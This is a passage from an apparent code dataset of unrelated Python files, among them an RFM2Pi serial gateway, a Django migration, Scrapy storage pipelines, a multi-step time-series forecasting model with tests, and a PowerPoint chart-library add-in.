(self._serial_rx_buf[len(self._serial_rx_buf)-1] == '\\n')):\n \n # Remove CR,LF\n self._serial_rx_buf = re.sub('\\\\r\\\\n', '', self._serial_rx_buf)\n \n # Log data\n self.log.info(\"Serial RX: \" + self._serial_rx_buf)\n \n # Get an array out of the space separated string\n received = self._serial_rx_buf.strip().split(' ')\n \n # Empty serial_rx_buf\n self._serial_rx_buf = ''\n \n # If information message, discard\n if ((received[0] == '>') or (received[0] == '->')):\n continue\n\n # Else,frame should be of the form \n # [node val1_lsb val1_msb val2_lsb val2_msb ...]\n # with number of elements odd and at least 3\n elif ((not (len(received) & 1)) or (len(received) < 3)):\n self.log.warning(\"Misformed RX frame: \" + str(received))\n \n # Else, process frame\n else:\n try:\n received = [int(val) for val in received]\n except Exception:\n self.log.warning(\"Misformed RX frame: \" + str(received))\n else:\n # Get node ID\n node = received[0]\n \n # Recombine transmitted chars into signed int\n values = []\n for i in range(1,len(received),2):\n value = received[i] + 256 * received[i+1]\n if value > 32768:\n value -= 65536\n values.append(value)\n \n self.log.debug(\"Node: \" + str(node))\n self.log.debug(\"Values: \" + str(values))\n \n # Add data to send buffers\n values.insert(0,node)\n for server_buf in self._server_buffers.itervalues():\n server_buf.add_data(values)\n \n # Send data if time has come\n for server_buf in self._server_buffers.itervalues():\n if server_buf.check_time():\n if server_buf.has_data():\n server_buf.send_data()\n \n # Sleep until next iteration\n time.sleep(0.2);\n \n def close(self):\n \"\"\"Close gateway. Do some cleanup before leaving.\"\"\"\n \n # Close serial port\n if self._ser is not None:\n self.log.debug(\"Closing serial port.\")\n self._ser.close()\n\n self.log.info(\"Exiting...\")\n logging.shutdown()\n\n def _sigint_handler(self, signal, frame):\n \"\"\"Catch SIGINT (Ctrl+C).\"\"\"\n \n self.log.debug(\"SIGINT received.\")\n # gateway should exit at the end of current iteration.\n self._exit = True\n\n def get_settings(self):\n \"\"\"Get settings\n \n Returns a dictionnary\n\n \"\"\"\n try:\n result = urllib2.urlopen(self._local_protocol +\n self._local_domain +\n self._local_path +\n \"/raspberrypi/get.json\")\n result = result.readline()\n # result is of the form\n # {\"userid\":\"1\",\"sgroup\":\"210\",...,\"remoteprotocol\":\"http:\\\\/\\\\/\"}\n result = result[1:-1].split(',')\n # result is now of the form\n # ['\"userid\":\"1\"',..., '\"remoteprotocol\":\"http:\\\\/\\\\/\"']\n settings = {}\n # For each setting, separate key and value\n for s in result:\n # We can't just use split(':') as there can be \":\" inside a value \n # (eg: \"http://\")\n s = csv.reader([s], delimiter=':').next() \n settings[s[0]] = s[1].replace(\"\\\\\",\"\")\n return settings\n\n except Exception:\n import traceback\n self.log.warning(\"Couldn't get settings, Exception: \" + traceback.format_exc())\n return\n\n def _set_rfm2pi_setting(self, setting, value):\n \"\"\"Send a configuration parameter to the RFM2Pi through COM port.\n \n setting (string): setting to be sent, can be one of the following:\n baseid, frequency, sgroup\n value (string): value for this setting\n \n \"\"\"\n \n self.log.info(\"Setting RFM2Pi | %s: %s\" % (setting, value))\n if setting == 'baseid':\n self._ser.write(value+'i')\n elif setting == 'frequency':\n self._ser.write(value+'b')\n elif setting == 'sgroup':\n self._ser.write(value+'g')\n time.sleep(1);\n \n def _update_settings(self):\n \"\"\"Check settings and update if needed.\"\"\"\n \n # Get settings\n s_new = self.get_settings()\n\n # If s_new is None, no answer to settings request\n if s_new is None:\n return\n\n # If self._settings is None, this is the first call\n # Send all RFM2Pi settings\n if self._settings is None:\n for param in ['baseid', 'frequency', 'sgroup']:\n self._set_rfm2pi_setting(param,str(s_new[param]))\n\n # General case, send RFM2Pi settings only if they changed\n else:\n for param in ['baseid', 'frequency', 'sgroup']:\n if ((s_new[param] != self._settings[param])):\n self._set_rfm2pi_setting(param,str(s_new[param]))\n\n # Server settings\n if 'local' not in self._server_buffers:\n self._server_buffers['local'] = ServerDataBuffer(\n protocol = self._local_protocol,\n domain = self._local_domain,\n path = self._local_path, \n apikey = s_new['apikey'], \n period = 0, \n active = True,\n logger = __name__)\n else:\n self._server_buffers['local'].update_settings(\n apikey = s_new['apikey'])\n \n if 'remote' not in self._server_buffers:\n self._server_buffers['remote'] = ServerDataBuffer(\n protocol = s_new['remoteprotocol'], \n domain = s_new['remotedomain'], \n path = s_new['remotepath'],\n apikey = s_new['remoteapikey'],\n period = 30,\n active = bool(s_new['remotesend']),\n logger = __name__)\n else: \n self._server_buffers['remote'].update_settings(\n protocol = s_new['remoteprotocol'], \n domain = s_new['remotedomain'],\n path = s_new['remotepath'],\n apikey = s_new['remoteapikey'],\n active = bool(int(s_new['remotesend'])))\n \n self._settings = s_new\n \n def _open_serial_port(self):\n \"\"\"Open serial port.\"\"\"\n\n self.log.debug(\"Opening serial port: /dev/ttyAMA0\")\n \n try:\n ser = serial.Serial('/dev/ttyAMA0', 9600, timeout = 0)\n except serial.SerialException as e:\n self.log.error(e)\n except Exception:\n import traceback\n self.log.error(\n \"Couldn't open serial port, Exception: \" \n + traceback.format_exc())\n else:\n return ser\n\n def _raspberrypi_running(self):\n \"\"\"Update \"script running\" status.\"\"\"\n \n try:\n result = urllib2.urlopen(self._local_protocol +\n self._local_domain +\n self._local_path +\n \"/raspberrypi/setrunning.json\")\n except Exception:\n import traceback\n self.log.warning(\"Couldn't update \\\"running\\\" status, Exception: \" + traceback.format_exc())\n \n def _send_time(self):\n \"\"\"Send time over radio link to synchronize emonGLCD.\"\"\"\n\n now = datetime.datetime.now()\n\n self.log.debug(\"Sending time for emonGLCD: %d:%d\" % (now.hour, now.minute))\n\n self._ser.write(\"%02d,00,%02d,00,s\" % (now.hour, now.minute))\n\n\nif __name__ == \"__main__\":\n\n # Command line arguments parser\n parser = argparse.ArgumentParser(description='RFM2Pi Gateway')\n parser.add_argument('--logfile', action='store', type=argparse.FileType('a'),\n help='path to optional log file (default: log to Standard error stream STDERR)')\n parser.add_argument('--local-url', action='store', default='http://localhost/emoncms',\n help='custom local URL (default: \\'http://localhost/emoncms\\')')\n parser.add_argument('--show-settings', action='store_true',\n help='show RFM2Pi settings and exit (for debugging purposes)')\n args = parser.parse_args()\n \n # If logfile is supplied, argparse opens the file in append mode, \n # this ensures it is writable\n # Close the file for now and get its path\n if args.logfile is None:\n logfile = None\n else:\n args.logfile.close()\n logfile = args.logfile.name\n\n # Create, run, and close RFM2Pi Gateway instance\n try:\n gateway = RFM2PiGateway(logfile, args.local_url)\n except Exception as e:\n print(e)\n else: \n # If in \"Show settings\" mode, print RFM2Pi settings and exit\n if args.show_settings:\n print(gateway.get_settings())\n # Else, run normally\n else:\n gateway.run()\n # When done, close gateway\n gateway.close()\n \n","sub_path":"rfm2pigateway.py","file_name":"rfm2pigateway.py","file_ext":"py","file_size_in_byte":18999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"202711373","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('contenttypes', '0002_remove_content_type_name'),\n ('auth', '0006_require_contenttypes_0002'),\n ('organizations', '0001_initial'),\n ('guardian', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='OrganizationObjectPermission',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('object_pk', models.CharField(max_length=255, verbose_name='object ID')),\n ('permission_expiry', models.DateTimeField(null=True, blank=True)),\n ('content_type', models.ForeignKey(to='contenttypes.ContentType', on_delete=models.CASCADE)),\n ('organization', models.ForeignKey(to='organizations.Organization', on_delete=models.CASCADE)),\n ('permission', models.ForeignKey(to='auth.Permission', on_delete=models.CASCADE)),\n ],\n ),\n migrations.AddField(\n model_name='groupobjectpermission',\n name='permission_expiry',\n field=models.DateTimeField(null=True, blank=True),\n ),\n migrations.AddField(\n model_name='userobjectpermission',\n name='permission_expiry',\n field=models.DateTimeField(null=True, blank=True),\n ),\n migrations.AlterUniqueTogether(\n name='organizationobjectpermission',\n unique_together=set([('organization', 'permission', 'object_pk')]),\n ),\n ]\n\n","sub_path":"guardian/migrations/0002_auto_20150922_1355.py","file_name":"0002_auto_20150922_1355.py","file_ext":"py","file_size_in_byte":1690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"368228311","text":"from store.models import *\n\n\n\ndef get_all_possible_filters(item_category):\n\t\"\"\"Returns a list of 'FilterOption' PKs for each 'FilterCategory' set within the\n\tcurrent 'ItemCategory'\n\t\"\"\"\n\n\tpk_lists = []\n\n\tfor filter_category in FilterCategory.objects.filter(item_category=item_category):\n\t\tfilter_option_set = filter_category.filteroption_set.all()\n\t\ttemp_list = list(filter_option_set.values_list('pk', flat=True))\n\n\t\tpk_lists.append(temp_list)\n\n\treturn pk_lists\n\n\ndef filter_item_list(item_category, item_list, chosen_filters):\t\n\t\"\"\"First for loop: 'and' filter.\n\t Second for loop: 'or' filter.\n\t\"\"\"\n\t\n\tfor filter_option_set in get_all_possible_filters(item_category):\n\t\ttemp_list = []\n\n\t\tfor pk in chosen_filters:\n\t\t\tif pk in filter_option_set:\n\t\t\t\ttemp_list.append(pk)\n\n\t\tif len(temp_list) > 0:\n\t\t\titem_list = item_list.filter(filter_option__pk__in=temp_list).distinct()\n\n\treturn item_list","sub_path":"apps/store/utils/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"500721238","text":"# -*- coding: utf-8 -*-\nimport sqlite3 as sq\nimport pymongo\n\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html\n\n\nclass OlxSQLitePipeline(object):\n def process_item(self, item, spider):\n self.c.execute(\n 'INSERT INTO cars('\n 'title, year, type, km, fuel, wheel, doors, engine,'\n 'gear, color, plate, price'\n ') VALUES('\n ':title, :year, :type, :km, :fuel,'\n ':wheel, :doors, :engine, :gear, :color,'\n ':plate, :price'\n ')', item\n )\n self.conn.commit()\n return item\n\n def create_table(self):\n res = self.c.execute (\n 'SELECT NAME FROM sqlite_master WHERE TYPE = \"table\" AND NAME = \"cars\"'\n )\n try:\n value = next(res)\n except StopIteration as ex:\n self.c.execute(\n 'CREATE TABLE cars ('\n 'id INTEGER PRIMARY KEY,'\n 'title TEXT,'\n 'year TEXT,'\n 'type TEXT,'\n 'km TEXT,'\n 'fuel TEXT,'\n 'wheel TEXT,'\n 'doors TEXT,'\n 'engine TEXT,'\n 'gear TEXT,'\n 'color TEXT,'\n 'plate TEXT,'\n 'price TEXT'\n ')'\n )\n\n\n\n def open_spider(self, spider):\n self.conn = sq.connect('db.sqlite3')\n self.c = self.conn.cursor()\n self.create_table()\n\n def close_spider(self, spider):\n self.conn.close()\n\n\n\nclass OlxMongoPipeline(object):\n\n collection_name = 'cars'\n\n def __init__(self, mongo_uri, mongo_db):\n self.mongo_uri = mongo_uri\n self.mongo_db = mongo_db\n\n @classmethod\n def from_crawler(cls, crawler):\n return cls(\n mongo_uri=crawler.settings.get('MONGO_URI'),\n mongo_db=crawler.settings.get('MONGO_DATABASE', 'items')\n )\n\n def open_spider(self, spider):\n self.client = pymongo.MongoClient(self.mongo_uri)\n self.db = self.client[self.mongo_db]\n\n def close_spider(self, spider):\n self.client.close()\n\n def process_item(self, item, spider):\n self.db[self.collection_name].insert_one(dict(item))\n return item","sub_path":"olx/olx/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":2357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"627858446","text":"\"\"\"\n This file is part of the cream web paste libs.\n See ../paster.py for license details.\n\"\"\"\n\nfrom cream.util import cached_property\n\nfrom basic_service import *\n\nclass DPaste(PasteService):\n __name__ = \"DPaste\"\n fields = ('content', 'language', 'name', 'title', 'hold')\n host = 'http://dpaste.com'\n\n @cached_property\n def languages(self):\n languages_regexp = \"\"\n content = '\\n'.join([line for line in \\\n urllib.urlopen(self.host).read().split(\"\\n\") \\\n if line.startswith(\" 0)\n self.Est = Est\n self.est_params = est_params\n if type(self.est_params) == dict:\n self.est_params = [self.est_params] * self.steps\n\n self.step_models = {(i): self.Est(**p) for i, p\n in enumerate(self.est_params)}\n self.step_cutoffs = {(i): min((i + 1) * self.d, self.n)\n for i, p in enumerate(self.step_models)}\n\n def assert_input(self, features, target=None):\n assert type(features.index.get_level_values(-1)) == DatetimeIndex\n assert int(features.isnull().sum().sum()) == 0\n if target is not None:\n assert type(target.index.get_level_values(-1)) == DatetimeIndex\n assert features.shape[0] == target.shape[0]\n assert int(target.isnull().sum()) == 0\n\n def build_data(self, features, target=None):\n self.build_features(features)\n if target is not None:\n self.build_target(target)\n\n self.step_preds = DataFrame(index=features.index,\n columns=self.step_targets.columns)\n\n def build_features(self, features):\n self.all_fits = DataFrame({'step_{}'.format(i): nan for i in range(1, self.n + 1)},\n index=features.index,\n columns=RangeIndex(self.steps).rename('step'))\n\n def build_target(self, target):\n if hasattr(target.index, 'levels'):\n step_targets = target.groupby(level=range(target.index.nlevels - 1))\\\n .apply(lambda g: lag_multiseries(g.reset_index(level=0, drop=True),\n lags=range(-self.n + 1, 1), freq='H'))\n else:\n step_targets = lag_multiseries(target, lags=range(-self.n + 1, 1), freq='H')\n\n step_targets = step_targets[sorted(step_targets.columns, reverse=True)]\n if self.d > 1:\n step_targets = self.aggregate_step_targets(step_targets)\n\n self.step_targets = step_targets\n self.step_targets.columns = RangeIndex(self.steps)\n\n def aggregate_step_targets(self, step_targets):\n cutoffs = deepcopy(self.step_cutoffs)\n cutoffs[-1] = 0\n aggregated_targets = []\n for step in range(self.steps):\n int_col_slice = slice(cutoffs[step - 1], cutoffs[step])\n col_agg = step_targets.iloc[:, int_col_slice].mean(axis=1).rename(step)\n aggregated_targets.append(col_agg)\n\n return concat(aggregated_targets, axis=1)\n\n def expand_step_preds(self, step_preds):\n expanded_preds = []\n cutoffs = deepcopy(self.step_cutoffs)\n cutoffs[-1] = 0\n for step in range(self.steps):\n expanded_count = cutoffs[step] - cutoffs[step - 1]\n col = step_preds.iloc[:, step]\n expanded_preds.extend([col] * expanded_count)\n\n expanded_preds = concat(expanded_preds, axis=1)\n return expanded_preds\n\n def add_predicted_features(self, features, step, test=False):\n if test:\n pred_features = self.step_preds.loc[features.index, :step - 1]\n else:\n pred_features = self.all_fits.loc[features.index, :step - 1]\n\n return concat([features, pred_features], axis=1)\n\n @measure_time\n def fit(self, features, target):\n self.assert_input(features, target)\n self.build_data(features, target)\n for step in range(self.steps):\n self.fit_step(features, target, step)\n\n def fit_step(self, features, target, step):\n step_features = self.add_predicted_features(features, step).dropna()\n step_target = self.step_targets.loc[step_features.index, step].dropna()\n step_features = step_features.loc[step_target.index.tolist()]\n self.step_models[step]\\\n .fit(*self.preprocess_data(step_features, step_target))\n step_fit = self.step_models[step]\\\n .predict(self.preprocess_data(step_features))\n self.all_fits.loc[step_features.index.tolist(), step] = step_fit\n # fill unpredicted values with 0 (FISHY)\n self.all_fits.loc[:, step].fillna(0, inplace=True)\n\n @measure_time\n def predict(self, features):\n self.assert_input(features)\n self.build_data(features)\n for step in range(self.steps):\n self.predict_step(features, step)\n\n pred = self.step_preds\n if self.d > 1:\n pred = self.expand_step_preds(pred)\n\n pred.columns = RangeIndex(1, self.n + 1)\n return pred\n\n def predict_step(self, features, step):\n step_features = self.add_predicted_features(features, step, test=True)\n step_features = step_features.loc[self.step_preds.index.tolist()]\n self.step_preds.loc[self.step_preds.index, step] =\\\n self.step_models[step].predict(self.preprocess_data(step_features))\n\n # fill unpredicted values with 0 (FISHY)\n self.step_preds.loc[:, step].fillna(0, inplace=True)\n\n @measure_time\n def validate(self, features, target, metric_func=SMAPE, predictions=True):\n self.assert_input(features, target)\n pred = self.predict(features)\n metric = Series(index=RangeIndex(self.n))\n for i in range(self.n):\n metric.iloc[i] = SMAPE(target.loc[pred.index],\n pred.iloc[:, i])\n\n if predictions:\n return metric, pred\n else:\n return metric\n\n\n def preprocess_data(self, features, target=None):\n \"Renames all columns to strings e.g. for `XGBRegressor`\"\n features.columns = [str(c) for c in features.columns]\n if target is not None:\n target = target.to_frame()\n target.columns = [str(c) for c in target.columns]\n return features.values, target.values\n else:\n return features.values\n\n\nclass StepTimeSeriesModelTestCase(TestCase):\n data_datetime_idx = date_range('2018-03-01', '2018-04-01', freq='H')\n data_idx = MultiIndex.from_product([['A', 'B', 'C'],\n data_datetime_idx])\n features = DataFrame({'feature_0': [e * random.normal(1) for e in range(data_idx.shape[0])],\n 'feature_1': [e / 2 * random.normal(1) for e in range(data_idx.shape[0])]},\n index=data_idx)\n target = DataFrame({'target': [e ** 2 for e in range(data_idx.shape[0])]},\n index=data_idx)\n\n def fit_topline(self, **init_args):\n nsm = StepTimeSeriesModel(**init_args)\n nsm.fit(self.features, self.target)\n return nsm\n\n def fit_granular(self, **init_args):\n nsm = StepTimeSeriesModel(**init_args)\n nsm.assert_input(self.features, self.target)\n nsm.build_data(self.features, self.target)\n for step in range(nsm.steps):\n nsm.fit_step(self.features, self.target, step)\n nan_predictions = nsm.all_fits.loc[:, step].isnull().sum()\n self.assertEqual(nan_predictions, 0)\n\n return nsm\n\n def test(self, **init_args):\n if 'Est' not in init_args.keys():\n init_args['Est'] = LinearRegression\n\n nsmI = self.fit_topline(**init_args)\n nsmII = self.fit_granular(**init_args)\n\n for nsm in [nsmI, nsmII]:\n\n if 'n' in init_args.keys():\n self.assertEqual(nsm.n, init_args['n'])\n else:\n self.assertEqual(nsm.n, 3)\n\n if 'd' in init_args.keys():\n self.assertEqual(nsm.d, init_args['d'])\n else:\n self.assertEqual(nsm.d, 1)\n\n expected_steps = int(nsm.n / nsm.d) +\\\n int(nsm.n % nsm.d > 0)\n\n # target\n self.assertEqual(nsm.step_targets.shape[1], expected_steps)\n\n # steps\n self.assertEqual(nsm.steps, expected_steps)\n self.assertEqual(len(nsm.est_params), expected_steps)\n self.assertEqual(len(nsm.step_models), expected_steps)\n self.assertEqual(len(nsm.step_cutoffs), expected_steps)\n\n # fits\n self.assertEqual(nsm.all_fits.transpose()\n .drop_duplicates().shape[0],\n expected_steps)\n self.assertEqual(nsm.all_fits.shape[0], self.features.shape[0])\n self.assertEqual(nsm.all_fits.shape[1], nsm.steps)\n\n # predict\n preds = nsm.predict(self.features)\n self.assertEqual(type(preds.columns), RangeIndex)\n self.assertEqual(preds.columns.min(), 1)\n self.assertEqual(preds.columns.max(), nsm.n)\n self.assertEqual(nsm.step_preds.transpose()\n .drop_duplicates().shape[0],\n expected_steps)\n self.assertEqual(preds.shape[0], self.features.shape[0])\n self.assertEqual(preds.shape[1], nsm.n)\n\n def test_other_n(self):\n self.test(n=1)\n self.test(n=4)\n\n def test_other_d(self):\n self.test(d=2)\n self.test(n=4, d=2)\n self.test(n=8, d=3)\n\n def test_other_freq(self):\n self.test(freq='M')\n\n def test_other_est(self):\n self.test(Est=XGBRegressor)\n","sub_path":"src/models/time_series.py","file_name":"time_series.py","file_ext":"py","file_size_in_byte":9877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"160882593","text":"import pytest\nimport flask\nimport subprocess\nimport multiprocessing\n\nfrom bci.defaults import DEFAULT_SERVER_ACTUAL_HOST, DEFAULT_SERVER_PORT\nfrom bci.client import upload_sample\n\n_HOST = DEFAULT_SERVER_ACTUAL_HOST\n_PORT = DEFAULT_SERVER_PORT\n\n\n@pytest.fixture\ndef get_message():\n parent, child = multiprocessing.Pipe()\n process = multiprocessing.Process(target=_run_server,\n args=(child,))\n process.start()\n parent.recv()\n try:\n def get_message():\n if not parent.poll(1):\n raise TimeoutError()\n return parent.recv()\n\n yield get_message\n finally:\n process.terminate()\n process.join()\n\n\ndef test_upload_sample(get_message, raw_data_and_path):\n data, path = raw_data_and_path\n upload_sample(path=path,\n host=_HOST,\n port=_PORT)\n assert get_message() == data\n\n\ndef test_cli(get_message, raw_data_and_path):\n data, path = raw_data_and_path\n process = subprocess.Popen(\n ['python', '-m', 'bci.client', 'upload-sample',\n '-h', _HOST, '-p', str(_PORT), str(path)],\n stdout=subprocess.PIPE,\n )\n stdout, _ = process.communicate()\n assert b'done' in stdout.lower()\n assert get_message() == data\n\n\ndef test_cli_error(raw_data_and_path):\n data, path = raw_data_and_path\n process = subprocess.Popen(\n ['python', '-m', 'bci.client', 'upload-sample',\n '-h', _HOST, '-p', str(_PORT), str(path)],\n stdout=subprocess.PIPE,\n )\n stdout, _ = process.communicate()\n assert b'error' in stdout.lower()\n\n\ndef _run_server(pipe):\n app = flask.Flask(__name__)\n\n @app.route('/config', methods=['GET'])\n def get_config():\n return flask.jsonify({\n 'fields': ['feelings', 'color_image', 'pose', 'depth_image'],\n 'error': None})\n\n @app.route('/snapshot', methods=['POST'])\n def snapshot():\n pipe.send(flask.request.data)\n return \"\"\n\n pipe.send('read')\n app.run(host=_HOST, port=_PORT)\n","sub_path":"tests/test_client.py","file_name":"test_client.py","file_ext":"py","file_size_in_byte":2056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"131328677","text":"# -*- coding: utf-8 -*-\n'''\nCreated on 04.05.2016\n\n@author: rdebeerst\n'''\n\n\nimport bkt\nimport bkt.library.powerpoint as pplib\n\nimport os #for os.path, listdir and makedirs\nimport shelve\nimport time\n\nimport logging\nimport traceback\n\nfrom System import Array\n\nfrom bkt import dotnet\nDrawing = dotnet.import_drawing()\nBitmap = Drawing.Bitmap\nColorTranslator = Drawing.ColorTranslator\n\nForms = dotnet.import_forms() #required for clipboard functions\n\n\nfrom threading import Thread #used for non-blocking gallery thumbnails refresh\nfrom contextlib import contextmanager\n\n@contextmanager\ndef open_presentation_without_window(context, filename):\n ''' opens and returns presentation file '''\n try:\n presentation = context.app.Presentations.Open(filename, True, False, False) #readonly, untitled, withwindow\n yield presentation\n finally:\n presentation.Saved = True\n presentation.Close()\n\n\n# TODO\n# ChartLib --> ChartLibMenu\n# ChartLib class with\n# file-buttons\n# copy shape/slide action\n\nTHUMBNAIL_POSTFIX = '_thumbnails'\n\n\nclass ChartLibCache(object):\n cache = {}\n\n @classmethod\n def init_cache(cls):\n cache_file = os.path.join( bkt.helpers.get_cache_folder(), \"chartlib.cache\" )\n cls.cache = shelve.open(cache_file, protocol=2)\n\n\n\nclass ChartLib(object):\n \n def __init__(self, copy_shapes=False):\n '''Constructor. Configures options and slide_action'''\n\n # configuration of library\n self.library_folders = []\n self.library_files = []\n \n # option: show gallery or menu for presentations\n self.show_gallery = True\n # callback method for menu-actions\n self.slide_action = None\n \n # caches\n self.cached_presentation_menus = {}\n self.cached_presentation_galleries = {}\n\n # folder for favorites\n # self.fav_folder = os.path.dirname(os.path.realpath(__file__))\n # self.fav_folder = bkt.helpers.get_fav_folder()\n self.fav_folder = None\n \n # init slide_action\n self.copy_shapes_setting = copy_shapes\n # if copy_shapes:\n # # copy shapes\n # self.slide_action = self.copy_shapes_callback\n # self.fav_folder = os.path.join(self.fav_folder, \"shapelib\")\n # else:\n # # copy full slide\n # self.slide_action = self.copy_slide_callback\n # self.fav_folder = os.path.join(self.fav_folder, \"chartlib\")\n \n # # add favorite folder as first folder\n # self.library_folders.insert(0, {'title': \"Favoriten\", 'folder': self.fav_folder} )\n \n\n def init_chartlib(self):\n logging.debug('initializing chartlib')\n\n #load gallery items cache\n ChartLibCache.init_cache()\n\n if self.copy_shapes_setting:\n # copy shapes\n subfolder = \"shapelib\"\n self.slide_action = self.copy_shapes_callback\n\n self.library_folders.extend( bkt.config.shape_library_folders or [] )\n self.library_files.extend( bkt.config.shape_libraries or [] )\n\n else:\n # copy full slide\n subfolder = \"chartlib\"\n self.slide_action = self.copy_slide_callback\n\n self.library_folders.extend( bkt.config.chart_library_folders or [] )\n self.library_files.extend( bkt.config.chart_libraries or [] )\n\n # add from feature-folders\n for folder in bkt.config.feature_folders:\n chartlib_folder = os.path.join(folder, subfolder)\n if os.path.exists(chartlib_folder):\n self.library_folders.append( { 'title':os.path.basename(os.path.realpath(folder)), 'folder':os.path.join(folder, subfolder)})\n \n # add favorite folder as first folder\n self.fav_folder = os.path.join(bkt.helpers.get_fav_folder(), subfolder)\n self.library_folders.insert(0, {'title': \"Favoriten\", 'folder': self.fav_folder} )\n \n \n # ===========\n # = Helpers =\n # ===========\n \n # @classmethod\n # def open_presentation_file(cls, context, file):\n # ''' opens and returns presentation file '''\n # # if self.presentations.has_key(file):\n # # presentation = self.presentations[file]\n # # else:\n # # # # Parameter: schreibgeschützt, ohne Titel, kein Fenster\n # # # presentation = context.app.Presentations.Open(file, True, False, False)\n # # # Parameter: rw-access, ohne Titel, kein Fenster\n # # presentation = context.app.Presentations.Open(file, False, False, False)\n # # self.presentations[file] = presentation\n # return context.app.Presentations.Open(file, True, False, False)\n \n @classmethod\n def create_or_open_presentation(cls, context, file):\n if os.path.exists(file):\n return context.app.Presentations.Open(file, False, False, False)\n else:\n newpres = context.app.Presentations.Add(False) #WithWindow=False\n if not os.path.isdir(os.path.dirname(file)):\n os.makedirs(os.path.dirname(file))\n newpres.SaveAs(file)\n return newpres\n \n @staticmethod\n def _save_paste(obj, *args, **kwargs):\n for _ in range(3):\n try:\n return obj.paste(*args, **kwargs)\n except EnvironmentError:\n logging.debug(\"chartlib pasting error, waiting for 50ms\")\n #wait some time to avoid EnvironmentError (run ahead bug if clipboard is busy, see https://stackoverflow.com/questions/54028910/vba-copy-paste-issues-pptx-creation)\n time.sleep(.50)\n #FIXME: maybe better way to check if clipboard actually contains \"something\"\n else:\n raise EnvironmentError(\"pasting not successfull\")\n \n # ====================================\n # = Menus for folders and subfolders =\n # ====================================\n \n ##Overview of UI parts for chart library\n ###Chartlib-Files\n # - fixed chartlib-menu (Menu) from file/presentation ***Will open presentation***\n # get_chartlib_menu_from_file ***caches***\n # get_chartlib_menu_from_presentation\n # - dynamic chartlib-menu (DynamicMenu) ***Will only open presentation if menu is opened***\n # get_dynamic_file_menu\n # --> maps to get_chartlib_menu_from_file / get_chartlib_menu_callback\n # - dynamic chartlib-gallery (Gallery) ***Will only open presentation if gallery is opened***\n # get_chartlib_gallery_from_file\n # --> uses ChartLibGallery\n ###Chartlib-Folders\n # - fixed folder-menu (Menu) from folder\n # get_folder_menu\n # --> uses get_dynamic_file_menu for files\n # --> uses get_dynamic_folder_menu for subfolders\n # - dynamic folder-menu (DynamicMenu)\n # get_dynamic_folder_menu\n # --> maps to get_folder_menu / get_folder_menu_callback\n # - root library menu (Menu)\n # get_root_menu\n # --> uses get_folder_menu for library folders to create menu-sections\n # --> uses get_dynamic_file_menu for library files\n #\n \n def get_root_menu(self):\n '''\n Returns static menu-control for root-chartlib-dir\n with entries for every root-directory and root-file.\n If just one root-directory is configured, it lists its contents directly instead.\n \n Menu\n --- root-folder 1 ---\n file 1\n file 2\n ...\n --- root-folder 2 ---\n ...\n ---------------------\n root-file 1\n root-file 2\n '''\n \n #initialize chartlib on first call\n if not self.fav_folder:\n self.init_chartlib()\n\n # create menu-items for chartlibrary-directories\n if len(self.library_folders) == 0:\n # create empty menu\n menu = bkt.ribbon.Menu(\n xmlns=\"http://schemas.microsoft.com/office/2009/07/customui\",\n id=None\n )\n elif len(self.library_folders) == 1:\n # create menu with contents of directory\n folder = self.library_folders[0]\n if type(folder) == dict:\n folder = folder['folder']\n menu = self.get_folder_menu(folder, id=None)\n menu.label=None\n else:\n # create menu with sections for each directory\n folders = [ folder if type(folder) == dict else {'folder':folder, 'title':os.path.basename(folder)} for folder in self.library_folders]\n logging.debug(\"ChartLib root menu with folders: %s\" % folders)\n \n children = [ self.get_folder_menu(folder['folder'], label=folder['title']) for folder in folders]\n # make list flat \n flat_children = []\n for folder_menu in children:\n if len(folder_menu.children) > 0:\n flat_children.append( bkt.ribbon.MenuSeparator(title=folder_menu['label'] or None) )\n flat_children += folder_menu.children\n \n menu = bkt.ribbon.Menu(\n xmlns=\"http://schemas.microsoft.com/office/2009/07/customui\",\n id=None,\n children=flat_children\n )\n \n \n # create menu-items for chartlibrary-files\n menu.children.append( bkt.ribbon.MenuSeparator() )\n for filename in self.library_files:\n menu.children.append( self.get_dynamic_file_menu(filename) )\n \n # buttons\n menu.children += [\n bkt.ribbon.MenuSeparator(title=\"Settings\"),\n bkt.ribbon.Button(label=\"Zu Favoriten hinzufügen\",\n screentip=\"Chart zu Favoriten-Library hinzufügen\",\n supertip=\"Ausgewählte Slides/Shapes zu Standard-Favoriten-Library hinzufügen. Falls diese Library noch nicht existiert, wird diese neu angelegt.\",\n image_mso='SourceControlCheckIn',\n on_action=bkt.Callback(self.add_chart_to_lib)\n ),\n bkt.ribbon.Button(label=\"Library erneut indizieren\",\n screentip=\"Library erneut indizieren\",\n supertip=\"Alle Cashes werden zurückgesetzt. Library-Order und -Dateien werden jeweils beim nächsten Öffnen erneut indiziert.\\n\\nEs werden nur Thumbnails bereits geöffneter Libraries aktualisiert. Eine Neugenerierung der Thumbnails kann auch für jede Shape-Library-Datei separat angestoßen werden (im jeweiligen Menü).\",\n image_mso='AccessRefreshAllLists',\n on_action=bkt.Callback(self.update_thumbnails_and_reset_cashes)\n )\n ]\n \n logging.debug(\"ChartLib root menu: %s\" % menu.xml())\n return menu\n \n def get_root_menu_xml(self):\n ''' returns xml of root-chartlib-dir menu'''\n return self.get_root_menu().xml_string()\n \n def get_folder_menu_callback(self, current_control):\n ''' callback for dynamic menu, returns menu-control for folder represented by control '''\n folder = current_control['tag']\n if not self.cached_presentation_menus.has_key(folder):\n folder_menu = self.get_folder_menu(folder, 